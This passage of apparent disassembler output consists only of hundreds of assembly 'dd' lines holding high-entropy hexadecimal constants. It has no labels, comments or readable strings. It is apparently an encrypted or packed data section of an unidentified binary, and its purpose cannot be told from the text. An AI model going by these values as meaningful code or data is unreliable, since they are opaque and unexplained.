0BA2028EEh, 0F7F646BAh, 1FE07302h dd 0E3F88995h, 7954FD27h, 9CD716D2h, 5310428Ah, 0D99D7329h dd 5584011h, 0F65B4BF3h, 0E01053A2h, 3B748FFh, 66480764h dd 6CD6E7D1h, 73F0FF1Ch, 146B013Ah, 0D59C831h, 2BC8E33Fh dd 5E17B035h, 16AE0CA9h, 9F2DE23Dh, 0C9BB7427h, 7880A275h dd 685A03D5h, 3AC62AD2h, 0F629B001h, 0D574E9D8h, 0F2EB84C3h dd 1D2DC163h, 0B920FC59h, 386813F0h, 0D034F840h, 5B09960Fh dd 0AFE07B1Ah, 26DE1C1h, 92ED60ADh, 3E252D78h, 9FC51D00h dd 17044B5Fh, 24E9E5D1h, 5413AEBCh, 4C2E8A5Eh, 3F52B6F5h dd 1CA41A85h, 2BB00216h, 1AC12CB5h, 779039B4h, 0B009C640h dd 0F67EA0DCh, 40703771h, 2048F312h, 1C572030h, 2BA4253h dd 4B032D29h, 50E30EEEh, 0C0457DB8h, 85E97A17h, 0BDA1E0h dd 5AB34725h, 5FADCD81h, 0CA616034h, 16E1F4E0h, 0AA157F75h dd 0CABEA641h, 0A860E299h, 0C9CCB55Dh, 4E8C4720h, 0D2100041h dd 89137670h, 16E5FD40h, 40BA63B4h, 82690CC1h, 3B27E937h dd 0F71F9B57h, 38662858h, 0FE4B30D4h, 0C8B69E62h, 5B8668D7h dd 0D5903023h, 395C8338h, 2591063Fh, 7A0C3AE9h, 70D42E82h dd 126812C8h, 43BA36Fh, 29F16DA7h, 49251AACh, 0C1F5A6C2h dd 0E42296D8h, 18DDF502h, 85802924h, 31285006h, 552C0A94h dd 6683C026h, 0A525E768h, 23D06A2h, 7F4CE8DAh, 9BE94E0Ch dd 0BEA5597h, 35AE68FAh, 53145CC5h, 6A5700E6h, 49BB6B86h dd 0DFAA5071h, 0B945D9Fh, 557C3156h, 3D2BC1B3h, 9B906F35h dd 127F6ABAh, 4096579h, 0E9BBC1E3h, 35580797h, 46B76A2Bh dd 1CD8A7EDh, 40E80C08h, 9810D9F7h, 0F2A0B813h, 7F25E316h dd 6F7989AFh, 3039941Fh, 6A4AA2D5h, 20E9E6FDh, 7BA0A7C4h dd 3C05373Bh, 6EDC142h, 0CF41B001h, 163A01ADh, 0DC9601E3h dd 0DF55A322h, 0BF318294h, 14FD6801h, 0F03F584h, 7BA4AB01h dd 654B0B87h, 25D25805h, 0FE70C309h, 62FA487Ch, 0F92D8003h dd 0ABF6180Bh, 5853F629h, 494A5568h, 76CBEBBCh, 274EB057h dd 5CD31C59h, 0D253A531h, 4E17E984h, 75CB2907h, 2ACE5650h dd 20BC4C41h, 0A5BB0AB9h, 12F96412h, 0B883B0A4h, 733EC312h dd 91C300BBh, 8902B7D6h, 9A3AA9B1h, 282CA368h, 0DF300887h dd 0BFDF92E9h, 31606F12h, 80821D4Ah, 4409E5F8h, 74F4C41h dd 67107204h, 4CFFC20Dh, 12B76409h, 0CA5AD129h, 6BE909AFh dd 425276D8h, 47FD8735h, 0A2103F86h, 495F24B6h, 4F4C990Fh dd 0B89A8467h, 0E0DE76D2h, 0D6A03D44h, 65D1E29h, 0C2CE032h dd 36054609h, 40C0F4F4h, 97E95208h, 0B90727B6h, 726E7167h dd 243A5A02h, 1CC0402Bh, 8C92B51Ah, 499F5157h, 0BC0CC2F9h dd 0ED75B126h, 6887267Ah, 6FE1A275h, 5DE3A5B8h, 80583104h dd 11C2CBF1h, 0B602F559h, 0E677CA37h, 2E475186h, 0F4D8C23Fh dd 7525437Eh, 0E92E11BEh, 0BE826A6Eh, 78B2320Dh, 0E423895h dd 0F60311BBh, 6434019Bh, 5AF81874h, 0E6043D7Ch, 3A637D9Fh dd 13A5FC80h, 57C02E5h, 591A0618h, 9304A885h, 35A7FC1Dh dd 58B38272h, 0B00E7877h, 0B4DC2039h, 0D94662B5h, 3D0708D6h dd 0DE285809h, 6400929h, 95B39F18h, 634F41F4h, 275115CCh dd 2D7015B5h, 407C073h, 0BF2CD0F6h, 0EEE9C5A0h, 0BD8896F7h dd 0A712425h, 5DC6C287h dd 0DB091535h, 0B243C85Bh, 74220A21h, 2081D601h, 0D05A4B08h dd 3155F069h, 125F6626h, 5F43C42h, 259EB95Ch, 68C80167h dd 5E6F460Eh, 0B904E007h, 22992071h, 233BC0AAh, 2E17F951h dd 0A5E131E9h, 0E94E2F4Fh, 60F5840Bh, 68D0B390h, 0F7431AEFh dd 33D405D2h, 727B8B01h, 0EE20420Fh, 67E61FBFh, 8C741ADh dd 6E23FC29h, 80121D4h, 0C515E95Ah, 611DF47Fh, 2F216612h dd 4C3456E0h, 84AD4A30h, 4B6C68A7h, 8C8DAAFh, 0B4091A68h dd 35D88736h, 0A138BC03h, 297F2C8Bh, 0E7F72E01h, 7911E909h dd 2996AD6h, 0CF73BDAEh, 3A1F6809h, 0FD629A5Ch, 7320F7F9h dd 0DFB151C1h, 96C9FE3Eh, 0A0AC5926h, 5E1CEBC5h, 18302F55h dd 0D39F525Eh, 37F92589h, 1ED548C9h, 0DD189795h, 7B95F1A3h dd 0A8EC879h, 495F312Bh, 80EF170Ah, 2F59BE56h, 0C3950222h dd 0D142F997h, 7E4CB63Bh, 51EC0167h, 3104EF3h, 7ACEEB73h dd 0C0573D0h, 0A5414BAh, 8D350ABh, 0BF140C68h, 0E6A3305h dd 9313882Ah, 0A68C3A5Fh, 0D8D465B1h, 0F0D9BB11h, 0B630127Fh dd 649504A9h, 811025C6h, 0B4A50841h, 0DAB91D80h, 3026D62Fh dd 9F268989h, 68FF182Dh, 35795585h, 58C8E63Eh, 55C3C28h dd 0E7C17E10h, 87CF1DC0h, 23952452h, 0A87D0586h, 0C400C46Ah dd 0F199EF0Bh, 0CB26DA3Ch, 98DF4222h, 97AA4C77h, 0B652CDB8h dd 0A1E9CD16h, 9DAF89C4h, 686930D0h, 0D607C22Dh, 5E950B7h dd 0E0C8997h, 7EF54C69h, 0EFBF80C1h, 1D23B41Ah, 0BDAB7FB4h dd 366C82F7h, 0E75D19D2h, 817DACE4h, 3D2A2569h, 0AC3BF3E9h dd 0A5EBC017h, 0A025E477h, 7871FAEBh, 545ABD51h, 6A680880h dd 0BD8C5D4Bh, 42435D0Ah, 5D41FC9h, 0FFE18909h, 0E986E995h dd 97165285h, 0A09E7385h, 7C97594Eh, 0F306C730h, 114E8C6Ch dd 64B096A0h, 0EFF15FE6h, 5D046B52h, 4D1DC2AFh, 200AB8B7h dd 0D13F0406h, 0DCCEADE3h, 96ED81CBh, 7029A04Bh, 5D4A4062h dd 0DFC12016h, 3D7411DAh, 0FE3725C0h, 0F9223672h, 5B05182Ch dd 6E59059h, 3084561h, 0E7418355h, 40EA5D01h, 1C6C42CBh dd 5E4675CAh, 645853E9h, 0FEC21368h, 5C251262h, 0DD524211h dd 14B557CCh, 2F0A9B11h, 0F389DF5Eh, 32461A71h, 0FF7089F7h dd 0FB68C330h, 0A1A6024Eh, 5B100F48h, 0D80100BDh, 5AB66852h dd 6032E366h, 0D5E6D613h, 685BA48Ah, 73375E2Ch, 0B8CBA7BDh dd 1855516Bh, 25204368h, 0C2E1D9AAh, 271E9CF5h, 6A041543h dd 0C829BACEh, 0C44B2C3Eh, 0BA0B5462h, 0E0DB57B7h, 6AAB7F2Dh dd 0E94179C2h, 0EA32E56h, 0AFA01392h, 0A85AD0DAh, 56AE4B60h dd 6101FE83h, 166F57AAh, 7477BB60h, 3D3F4D0Dh, 63F87600h dd 95E9FA31h, 0AC93049Fh, 5E9E5EE4h, 0B37F770Ah, 0AF2FE60Fh dd 0AF084554h, 55DA4B5Eh, 41BEC930h, 212D5E9Ah, 5B1CF7F0h dd 0D8E9520Ah, 2401457Eh, 58777C4Dh, 8A922DBFh, 5CE233ADh dd 3D753210h, 0C0C2FE00h, 0D56803EAh, 6DC54962h, 0A6425ED1h dd 0D4AE0288h, 9D8D45A4h, 0CB4147DFh, 7E6910FCh, 0E1566BF9h dd 326BC580h, 48013FEAh, 0DC188DD5h, 21C2ABA9h, 132A3613h dd 0DCBB10BFh, 52F6AFB4h, 0E46CE9CFh, 0DF3CF78Ch, 0D0572F4Fh dd 6F8696C5h, 0AE6E3D64h, 0B22EE8CDh, 7588007Ch, 4FE9114Ah dd 0E779C9C7h, 80C2203Ch, 0F75416EDh, 1C6BF61h, 202ECA31h dd 6675BF4Eh, 5642D804h, 0B0C5FE89h, 0A6B96B40h, 205D48h dd 8107E1C1h, 0FE2991C9h, 3887724Ch, 4CB3924Eh, 24D2B4h dd 5CDB2CAh, 60155879h, 7DE089Dh, 0B87AE427h, 780D1DDFh dd 0E93AC305h, 0B3033832h, 2E7A96CEh, 1E6B031h, 7B404C3Fh dd 20C79876h, 0F61D2468h, 0B6BB30D4h, 500D0632h, 400CDA59h dd 0C2388023h, 0F3D32728h, 2AA30899h, 8481BD0Fh, 2FE1F4Ah dd 0C44FAD9Dh, 0D026E4DCh, 27E5512Dh, 0F04027D4h, 9832F408h dd 586B4FBh, 0AB04B368h, 0E912408Ah, 8830431Ah, 0EC985BFDh dd 0E3EE5A59h, 35C585Ch, 8E9C0F1h, 0E381AD80h, 6993C806h dd 0B4CA06C7h, 33170C10h, 0EB0FA81Bh, 0C61AA968h, 963D2F3h dd 5171DF26h, 54F89909h, 0FEF273E3h, 0FE9D9870h, 0E505CB58h dd 0F785FE15h, 1AA81DB8h, 7E0D0B9Dh, 55685843h, 0E5914F5Bh dd 65933FF2h, 0A22701FBh, 3F2FA176h, 0D80449E6h, 8EF51EE9h dd 0C4135E63h, 0AE3816EFh, 0B34E878Eh, 0F014875h, 0A2E44657h dd 7663A8E9h, 806B9223h, 2DCA814Dh, 2FBF7E17h, 12807B0Eh dd 6948CABFh, 0AF89FE4Ah, 9109E089h, 4EF6BEF5h, 882EAE5Ch dd 3325EA4Eh, 0D0CF28FDh, 1761681h, 1C8B2ADDh, 39CCBE06h dd 0C504186Fh, 4BF16D53h, 8006DA5h, 94DA50E9h, 3983804Eh dd 17B81B93h, 5ED23A00h, 0F4E9F829h, 0A700B9A8h, 0F35821F4h dd 620316A5h, 11AE1F38h, 0AED91348h, 888A38EAh, 7D2B8B95h dd 5496356Dh, 61B8BC12h, 123ABF02h, 0CE6002F7h, 450F2C4Ah dd 0F686E96Dh, 285DCC90h, 0A0465CAEh, 936CA205h, 9089C526h dd 84C06E5Bh, 0DDE9FC28h, 68417F9Ch, 0CB3E35AAh, 4C0113F3h dd 0C1527B8Ch, 8A3DA7E0h, 1BC57015h, 0CF9FB4Eh, 0EE535BC5h dd 6BCCA845h, 0CF4A4F01h, 63ECB528h, 5A5294C4h, 9EFFBBA9h dd 36E912B3h, 34C8AFC4h, 3BD64159h, 9E31F80Eh, 7E6D6489h dd 0CAF14009h, 497D4048h, 4AB02726h, 0F4A0FAADh, 0A9067A4h dd 1F246248h, 0D00F9EFDh, 6E0EBC70h, 0BE267F4Eh, 290B0B72h dd 0C091E9DEh, 4CE2803Dh, 8A01AEF3h, 0DFF6FA86h, 60877B66h dd 0E247D727h, 7D225886h, 0B75305B0h, 0F830E9DBh, 0CCF55FC7h dd 227EE06Bh, 0F27C0309h, 208F7029h, 9EA12FEEh, 522C08Dh dd 4C56F9F6h, 1D1F02DFh, 0C0494627h, 164B3B4Ah, 0E84121C6h dd 592AD90Dh, 0E89F9040h, 5CFD7A36h, 862083C8h, 4C1FE33h dd 0D7E6D280h, 0C9602309h, 1801B7Fh, 0B50394C7h, 0C192A416h dd 0DB247777h, 9717104Dh, 0B8BA1B80h, 324A2D0Ah, 72718E70h dd 0FFECF52Dh, 64C56480h, 54627042h, 0DF60120Ch, 0C169D1E0h dd 66EF3B94h, 386F071Dh, 0D51E1CEDh, 0E3F8CB15h, 8557492h dd 471CC9F4h, 1B08B566h, 68510E3Dh, 694077C2h, 4FDA16FDh dd 548632B7h, 9827D45Bh, 0C6F426DFh, 1AEE0162h, 0CA2F0916h dd 660D0004h, 8688310Bh, 0A7E42EA1h, 6A0342F0h, 5F491F16h dd 0DFB9FD83h, 4BA7E492h, 0EC2B1541h, 0B252C726h, 0FDF2883Bh dd 2F3A008h, 0F76970BAh, 6CE83DE3h, 9E1D1699h, 420B5B2Dh dd 2F1420Dh, 49B2E907h, 97F1F775h, 13B08470h, 89E96CCh dd 28009177h, 805B66FDh, 9D6A77EDh, 464F32F0h, 0A7B8FDC0h dd 1B48000Ah, 0C369EB2Dh, 0E8078311h, 433005FFh, 0C841DF8Fh dd 29323990h, 0EBE1126Bh, 0DEEF66D4h, 0AEE90CDBh, 0E0581688h dd 5937C9EEh, 0F38897B0h, 8ACE916h, 21EF2124h, 7484D2h dd 326CFBBDh, 51527902h, 4202E5D7h, 0F6668951h, 0AEDEF72Eh dd 343F051Fh, 0A2AB43C5h, 0B14810F7h, 0AA1E3A54h, 9A6DDDC8h dd 58F60A6h, 58A46CC8h, 600F45C2h, 0A7CFCDF5h, 944FAEE1h dd 0D454026Fh, 5F292543h, 0B071BF82h, 155CB800h, 0BF32009Fh dd 5A431FE4h, 51B0C731h, 3701F77Fh, 0F921534Ah, 12B0AE9h dd 86D4F6F9h, 0ECCFC9E1h, 0FFDEC3A6h, 2D20B059h, 68D3916Eh dd 13273953h, 6EAC34D0h, 95CC2CC7h, 0D8EC1F93h, 55FBBAAh dd 0B215DA1Ch, 0ED854097h, 0C0F887EFh, 0A031A21Bh, 8998E912h dd 8FC4CBBCh, 93BD01ACh, 9240D07Ah, 5B4A3BF8h, 2E7AB148h dd 1E7E129h, 0B00DFC3Ch dd 242BE96Bh, 6817666Bh, 0E888100Ch, 303A58AAh, 26690B80h dd 0C6F84E68h, 74BCF15Ah, 0A8C372C9h, 88F892B2h, 3F31F19Dh dd 0EDF2E292h, 0EC791271h, 13274790h, 4517603h, 836493E7h dd 0B3AA8034h, 0E090DC4h, 805FFB29h, 0F1092D3Ch, 24399B4Dh dd 0A56E14F4h, 41AFE83Ah, 4D94998Bh, 7596B20h, 28D0F180h dd 0B45081CAh, 0B3E74751h, 0C4F1C9E4h, 390692ACh, 5D0A22EBh dd 955D1655h, 2667F50Eh, 0A7D57EAFh, 3039DB04h, 192DEE3Dh dd 1016FA04h, 0E9529980h, 0D5E8498Ah, 854BB248h, 0DE2EBB89h dd 8691A94Eh, 25EB55A8h, 0BC299076h, 57E9BF33h, 16BA05E0h dd 4A1EF8FEh, 0A8D2E3A7h, 0DD5CA2DFh, 5752CED1h, 0DD97E790h dd 2751DAB7h, 579B1A5Bh, 7A3270F0h, 8C535Ch, 5B63FC28h dd 0B84BEBD1h, 84AD097Ah, 0E100AC30h, 788026E0h, 0F0D2E93Fh dd 60DDF697h, 0BC2561B9h, 0FF385966h, 0F0A4C703h, 291AC111h dd 8A8A0E9h, 6027B098h, 281CAF9Dh, 0C0742D3Ah, 687F012Fh dd 0B23E029Dh, 775E89ABh, 7E2F2D67h, 5FEEC07Eh, 0E298DB4Ah dd 820C2BCh, 0B6E95A5Eh, 79ABA96h, 2317BB4Ah, 0A30827BFh dd 7105EB42h, 0C2FE9AB2h, 0E9B98AC3h, 2924D378h, 0F3A35B68h dd 278158E7h, 51ADD4CDh, 49B86413h, 0BFFDDCE3h, 782D24DCh dd 0B15A3407h, 9E2CFB45h, 25B90551h, 0EF5D0856h, 0DF5B02C7h dd 33162290h, 0A33E523Eh, 820C2044h, 0F4210908h, 0AE36586Ah dd 76C25AACh, 412325A7h, 5A280B08h, 0F537EC5Bh, 2AFE7152h dd 86E44BCAh, 328C2568h, 85BCC571h, 4EE03ADDh, 0B05F7AB3h dd 0E8167FADh, 0D218094Dh, 1E800564h, 0ACE9B017h, 0ED879779h dd 0FEB9C6E9h, 4F213F7Fh, 0E98EF9C8h, 0C65CF6A9h, 0EE841E96h dd 387F92B1h, 0E535E9F5h, 83EA334Fh, 40813B7Dh, 83D7302Ah dd 706A7D05h, 0D8AE3768h, 2F042525h, 0CE290D38h, 24ACBFAh dd 56747DBBh, 0AB99416Ch, 48BF1681h, 2B1B7E09h, 0AC639EF8h dd 90B747DBh, 0C55B067h, 0FAF84397h, 0F8A255C3h, 9DCAFBE9h dd 0D8CBB7FEh, 9519FE73h, 0F175EAEAh, 907C92D6h, 3070A88Ah dd 0C4FC647Bh, 0FDB13ABDh, 0E9149F94h, 97993F6Fh, 4BBE2D5Dh dd 325B5E49h, 0C896D502h, 0F8628968h, 0F64F3AC8h, 0E9958CBBh dd 2DD71854h, 233D6EE8h, 70741019h, 8E01BB4Eh, 1A622AEBh dd 0E9060204h, 4BF9C58Ch, 84116B9Ah, 0C4A11B02h, 518BB927h dd 0D52F0C44h, 5B0146F6h, 81DAC47Eh, 0DD60678Bh, 5E1F7E49h dd 5AC2E396h, 0F9D3D757h, 0E926C849h, 44284F1Fh, 0AC654BDh dd 5F22B468h, 60B5B679h, 3380CEB3h, 0F90601E6h, 92F73411h dd 0CF0BC125h, 0B9915DDh, 7C5E52E9h, 589CF525h, 0BE5821BDh dd 1E41BB2h, 7079F405h, 50F0EC64h, 155E072Dh, 9072F5E9h dd 2FF3D59Dh, 89EA800Bh, 515002C0h, 0D217B12Ch, 99B74117h dd 36646A51h, 83009BAh, 5B72551Dh, 7E22A4C0h, 604A6A44h dd 79B21042h, 0A398409Eh, 4ACCE939h, 3B4C33A7h, 5A2CD84Eh dd 0DD765341h, 93C5977Bh, 51B82DBDh, 6B7241B8h, 32BC7A0Eh dd 6D7D0519h, 70820FAh, 2FF10818h, 3053F5A0h, 0DC0C05D5h dd 3E097875h, 0D6AFADE9h, 0E65C62C4h, 322FB56Fh, 205414E5h dd 5750E819h, 6E95ECBEh, 666816F5h, 0A1A0B86Ch, 425FEE9h dd 0F4A1826Dh, 12502212h, 0D2B0ADCBh, 0DE3712F5h, 984FBF67h dd 0FA1701C6h, 0FC604E0Ah, 2ABA6A6Eh, 0F0D81C0Fh, 421AEE59h dd 9170B426h, 8143634h, 3EB645EBh, 4A6951E0h, 4114B282h dd 2DBA3DACh, 2F687C29h, 40F296D5h, 0A492E734h, 0C9C38019h dd 34361006h, 96F3097Ch, 0F3A99CE9h, 0ABC59E05h, 40C09D84h dd 6F23017h, 3225356Fh, 0E85A54E0h, 0C9422B0Eh, 0BF08D023h dd 5E278A67h, 3814CDCBh, 0B44C8743h, 0E9F10133h, 5329A833h dd 299EE113h, 0DF681C1h, 31AD4AA5h, 0C2AAA22Ah, 611C5709h dd 2D00D868h, 0FE3D4DCFh, 53C8343Bh, 3D9BB0FAh, 5D24AA65h dd 768F661h, 0C01B6EDAh, 8A2D5EC0h, 5A683569h, 0FAADC50Bh dd 0D7ADE9E4h, 0A82D95F5h, 0ECD04AF7h, 0E8FCC50h, 20913BEh dd 66080423h, 0D633B2D6h, 46641402h, 5B7AC08Ch, 0A422BF6Ah dd 87093786h, 2738F8F1h, 3AB03080h, 84C101D5h, 34AF2CA9h dd 177B1882h, 620E5321h, 0C2A8E232h, 6E0B41F9h, 14D27172h dd 7D257FEFh, 9E025659h, 0FD82FFEDh, 0F46B9351h, 506807DBh dd 1CFD0B4Eh, 4042B03Bh, 4872935Ch, 3E0FEBB0h, 0CB467727h dd 1239FC25h, 0D703B45Dh, 9CE9944h, 91F4044h, 0CB98A600h dd 70B56B5Ch, 550626A7h, 0B823AD8h, 0D6F7242Ah, 0E875E583h dd 0B680F24Eh, 91B22FE9h, 0D8CF09E8h, 0D0EBDEF6h, 87D09532h dd 96199A17h, 9A023F0h, 298BEC47h, 0D4B5155Ah, 0E91654CAh dd 6329D1Ch, 52E45530h, 6EDDE9FDh, 3DC4E224h, 4AA5CABBh dd 0DC6144EAh, 305A00A8h, 0E6685BD8h, 0AE989736h, 88006BB2h dd 0F4805AD4h, 0E51666Ah, 0EC30FAB5h, 25EC04D7h, 0C05D09BEh dd 2C453436h, 16EA2B0Dh, 0E52CB8C8h, 67224701h, 7D706C96h dd 0AE4D131Eh, 8192E916h, 1C461B93h, 5852E82h, 6AFD3DFBh dd 0E908026Ch, 66F6682Ch, 5BCE3ABEh, 4E3C463Bh, 7DCCB850h dd 0A8015B30h, 851A15BBh, 0BDCF3B8Fh, 0B6A0ECCAh, 0E87F1EFBh dd 2022DD5Ah, 0CAE1801Ch, 0C089C1CEh, 0B7534BF1h, 7FE7F803h dd 0A5F70167h, 4DE9F928h, 9E66FD3h, 92196F2Ch, 0C00A0950h dd 0BB013378h, 69C36C86h, 0C02EDA09h, 0DF6EE309h, 5F29ED2Dh dd 28945A8h, 60F0357Eh, 4F6E1D5h, 0B96206ADh, 50F2574h dd 3AEF0C7Eh, 0F1585CC3h, 3B91295Eh, 0DD277AADh, 0E66F35Eh dd 54CFBC93h, 0A817D49Eh, 1ADE9E0h, 0B7FBA52h, 70293503h dd 0C970EA12h, 76F92EE1h, 52980BE5h, 0C1E7045Dh, 0F02E07C9h dd 0CDFE68CBh, 3C1FF413h, 0CFB84A04h, 0CE8C102h, 2FE6F357h dd 0DC566C6h, 1A98C268h, 0EDD030E9h, 4F03F58Bh, 0C472B30h dd 0ADC2D94h, 55E6E968h, 0EDCA0211h, 47D7A90h, 48C683B3h dd 16F00992h, 3CD014C2h, 0E9515207h, 7F0B0D4Ch, 10EB3545h dd 0BDA7264Ah, 1D7E11DAh, 2F6D8326h, 611EC504h, 0C7CE7380h dd 4380484Ch, 6762FF3Fh, 29415BDFh, 9ABD0292h, 65E58B2h dd 3F20A21h, 0DBB01101h, 0E68ECF4Ah, 77F70076h, 0E90E860Dh dd 92C1ABA4h, 397150BDh, 0C34016Ah, 2E22C0A3h, 5DE8C891h dd 56104329h, 0A0EC799Bh, 0F67209B7h, 0E9165458h, 0EF3A2564h dd 96CCD118h, 709DD7F7h, 0C1AA09B1h, 0C0D5A06Bh, 9559CFDEh dd 439EDA03h, 75EE5903h, 0D9207B45h, 7F242EB5h, 850F08DBh dd 6805C1D4h, 3CFA316Ch, 2788145Bh, 2F652170h, 27AAFEADh dd 0AE818F7h, 42E03045h, 0F428A7BCh, 0AE17554Eh, 528B16F3h dd 0D77EAE0Bh, 714AD569h, 230410FDh, 0EE4ABF22h, 9BAE0055h dd 7F7B6E75h, 76472652h, 2D67A45Fh, 0D4898865h, 0C0CDDC0Fh dd 299D2091h, 0B95BF34h, 7F08A185h, 6C512FF4h, 386BC23Eh dd 0B1BD7DD4h, 6DE9166Ch, 0DD26457Fh, 3E43824Dh, 0BBF38100h dd 86695863h, 3BA1A610h, 80102750h, 68535CFEh, 999AB5ADh dd 0A27660C2h, 212C5F12h, 83680357h, 5F624312h, 48FEECD5h dd 4FAE00D4h, 55E97DC1h, 84599FACh, 5165C783h, 5F9B9779h dd 2408A608h, 5279258Ch, 0B2A5E967h, 72B47EC9h, 0AD0B30Ch dd 0F986515Ch, 0C7D5F609h, 16021140h, 0DEC498E9h, 50C75FFFh dd 70B676E0h, 7182F46Bh, 37D4C2B8h, 4E919C65h, 0A7DCB4B7h dd 0CAEDCF93h, 4DFE2BC9h dd 0BFD96E2Dh, 414D63C2h, 4BAD6625h, 0C7110450h, 0EE031384h dd 0D3E2304Dh, 0E115515Fh, 637F2EC4h, 7EC0C2Dh, 7189E2E9h dd 0E94F8667h, 42F6728h, 2D729FF3h, 2A97FE90h, 652151F2h dd 0DF68E112h, 5F316A76h, 442F1014h, 0B1EEA95Ah, 0D040717Eh dd 0C6F816FAh, 4ABDDB5Dh, 855F27B9h, 0A544AB05h, 3104B40Ch dd 87ABC1D6h, 6530524h, 5CDA3CEBh, 42E3E92Dh, 0F802770Ch dd 5056D133h, 0C52F1851h, 808DBE0Bh, 5AB2408Bh, 1300168Bh dd 0CDE901C7h, 4F056F49h, 0D8E237E8h, 0F64AA075h, 4E71E690h dd 3479A08Fh, 0EB1BEF60h, 97142679h, 6E0716C1h, 7844E281h dd 61A580F2h, 59DEC8Dh, 7497D05h, 2B4A128h, 96FD5B07h dd 9142179h, 703B04BCh, 0B3AF50CAh, 70E985E5h, 7C91AA53h dd 0B37ED874h, 0FC58CB1Dh, 2685C994h, 0D326452Dh, 5BDED005h dd 96A0C380h, 0E3BEF225h, 923DF187h, 80D6F7F2h, 180CE28Eh dd 5BD3B82Ah, 0F73E88A2h, 64BDB35h, 5E5F5542h, 0AE007FD3h dd 169660Eh, 89008BFh, 0C7A70A24h, 42DAA6F6h, 0BBC8CE73h dd 44584E31h, 0DEC132Fh, 750E61BFh, 0ABD18959h, 824DD9E4h dd 3A485A2Bh, 3880E3CAh, 20CB5498h, 7FA292Ch, 0E92D0820h dd 0BBD4E0DBh, 844E309Dh, 7A69EB98h, 4B7F4802h, 575A3BE9h dd 7EB53444h, 1C690BA5h, 5392F3DCh, 118AEA0Dh, 3059297Bh dd 846E4D23h, 5F6CCB21h, 0CE759189h, 0B2B3A137h, 504BA27Bh dd 9F13A6BCh, 55FFAF60h, 8150429h, 6889A7FAh, 24798A8Bh dd 0B208628Ch, 80BF5BE9h, 29BA5F1Ch, 0A496A813h, 0D19C16BEh dd 0FD68EBB1h, 9F084028h, 6C58BA76h, 901B2A97h, 1875070Fh dd 0D6F24505h, 0B37833BBh, 754ADD5h, 18574129h, 5871C160h dd 0F8564AAAh, 0B19D4C06h, 0ED3AF021h, 0EB07DA57h, 5B8CFA2h dd 455BE468h, 98DD30F8h, 12B05AF4h, 1FBE6A00h, 0E97FC09Ah dd 31C24A5Eh, 6F71414Dh, 0D63C6E60h, 4F19B067h, 0B28FC7D3h dd 89F90341h, 45C1A396h, 1AE1B7BDh, 13DDA07Bh, 1C30A94h dd 5F4FE2EBh, 0EE69F20h, 204A4340h, 1398C92Ch, 0A10AD438h dd 7C16AACh, 8704FF05h, 39BFC0B5h, 0FEF830FAh, 0C565A09Dh dd 9D412A94h, 62F61F8h, 0EF1D1825h, 34282815h, 7ED50E9h dd 1AD5AE9h, 312C2597h, 9AD2CB0Dh, 13F47A7Dh, 0E8DF41A2h dd 0D72D1807h, 306B4BD9h, 0B97672ADh, 8D125294h, 0C317EE29h dd 85F89013h, 0C64FD3A8h, 4013AFE4h, 2A07B940h, 0C12DF95Eh dd 0F1A680B9h, 5BC6C9A8h, 5C1DEA77h, 961D4286h, 6732DBEh dd 13C27F2Ah, 7CCDBBDAh, 0EF972732h, 32876195h, 9FE8DFCBh dd 0D697F3CFh, 0A113D09Ah, 1D20BE81h, 0FBA09F7Dh, 2DABBA52h dd 8137FD00h, 146A23F2h, 9954BD3Bh, 0E0E9D360h, 8A479EC6h dd 8D878B9Dh, 7F0647FDh, 4BFAA109h, 27418A89h, 46D71924h dd 0D68FF49h, 0CD25B14Ah, 9583D641h, 0A0854A1h, 57D85C9h dd 0C2097BC1h, 1AFF4AEAh, 0A9E6FDFEh, 5FEC4D4Dh, 51CA2EA2h dd 686683E7h, 0E1CA6D7Eh, 0BA01B95Eh, 4E167C90h, 5F65F680h dd 0DAF757D9h, 0F6D7E92Fh, 22C280B5h, 59619B45h, 72F6FE97h dd 28D5D1D7h, 81DBBC9Eh, 0DA25CDC5h, 0BEE49850h, 1502F517h dd 9970DE23h, 1BEB5D18h, 641265EFh, 3D847A04h, 0E38582h dd 0B4685155h, 2F070312h, 0E98598B9h, 48940108h, 6B46A666h dd 0DF018784h, 1A6E274Bh, 12675F20h, 0FE7F6C1Dh, 92EA7720h dd 0BBF55D2Bh, 21C93060h, 1607D47h, 98B85013h, 27A60565h dd 0D958C389h, 0D1493BF5h, 0D6DF429Eh, 3D450B2Fh, 94F568B2h dd 0B71B7EFCh, 0FBCAD951h, 0CE225497h, 0AF79DC30h, 5D5932D5h dd 95B1947Bh, 0B450CCE9h, 6FEC685Fh, 0AAE87525h, 80CAFE01h dd 0EACC5CC2h, 6B2C4C33h, 0AED0DB12h, 70AE0BDCh, 0B93AE119h dd 0EDDD738h, 95F27BA8h, 0E5D4B12h, 9CABD6FEh, 6839537Bh dd 33FA1863h, 536B8DAh, 0E916054Bh, 7F3DB91Dh, 372F0090h dd 83351221h, 161F1CBCh, 0A857E523h, 0EA7C0F6Eh, 8325DD76h dd 0B9F9319Ch, 8B2288F7h, 0EA2D5984h, 0F8018B90h, 9AC69051h dd 7DA4C1C7h, 0F9708C36h, 0ACE06FD6h, 2980E77h, 0E9C2F74Fh dd 0FA5FD523h, 0D40500FFh, 2D09B10Ch, 130566DDh, 9E0DE928h dd 3192A7BCh, 3F87FA21h, 4061C0B1h, 5EF31585h, 0A364AF31h dd 4EEC6B1h, 6152EB01h, 0EB9BC4BFh, 167EF839h, 9439FA48h dd 9EFD61F2h, 8F4A303Ch, 18E90C7Ah, 9C12303h, 1D84444Fh dd 571E4583h, 1750FC2h, 721B7FD0h, 3E96B83Bh, 7EAE17B2h dd 878B6201h, 0F23B167Ah, 13FA5BA0h, 10CBAE30h, 5369AA5Fh dd 41576A52h, 0A60B9FCh, 0ED4A498Eh, 0E9EF1F73h, 89B426E5h dd 14F777B6h, 83E92FC8h, 0B188907Dh, 0C1801FA0h, 0B8944938h dd 5CB5989Eh, 2DA5C832h, 294E4BD2h, 7E8B1CA1h, 30D5CDA5h dd 952B87EDh, 0E9121146h, 0EE353135h, 0E4073504h, 303FCDBBh dd 59955BA1h, 6855C0A8h, 455842F1h, 0C3BF18E8h, 1C0AEAB3h dd 0D21CB55Dh, 0D186B35Fh, 99E90DA6h, 832FA89Dh, 0C29550F6h dd 12DADF02h, 172EB016h, 0A8044AFCh, 1D248C4Fh, 0D09E2B8Bh dd 2DD3705Ah, 0A17F0626h, 3E52B2FBh, 4AFBEB30h, 0A1F7ECB1h dd 0DA7BD1Dh, 0BB182CF4h, 13EAF225h, 0E1FEDCB7h, 10523218h dd 0A84E9F3Ah, 334255Ah, 94CA883Dh, 976EB2AFh, 0DA19CAFh dd 5F3B9A9Fh, 0E6FA845Ah, 0F37F1260h, 5F0826D8h, 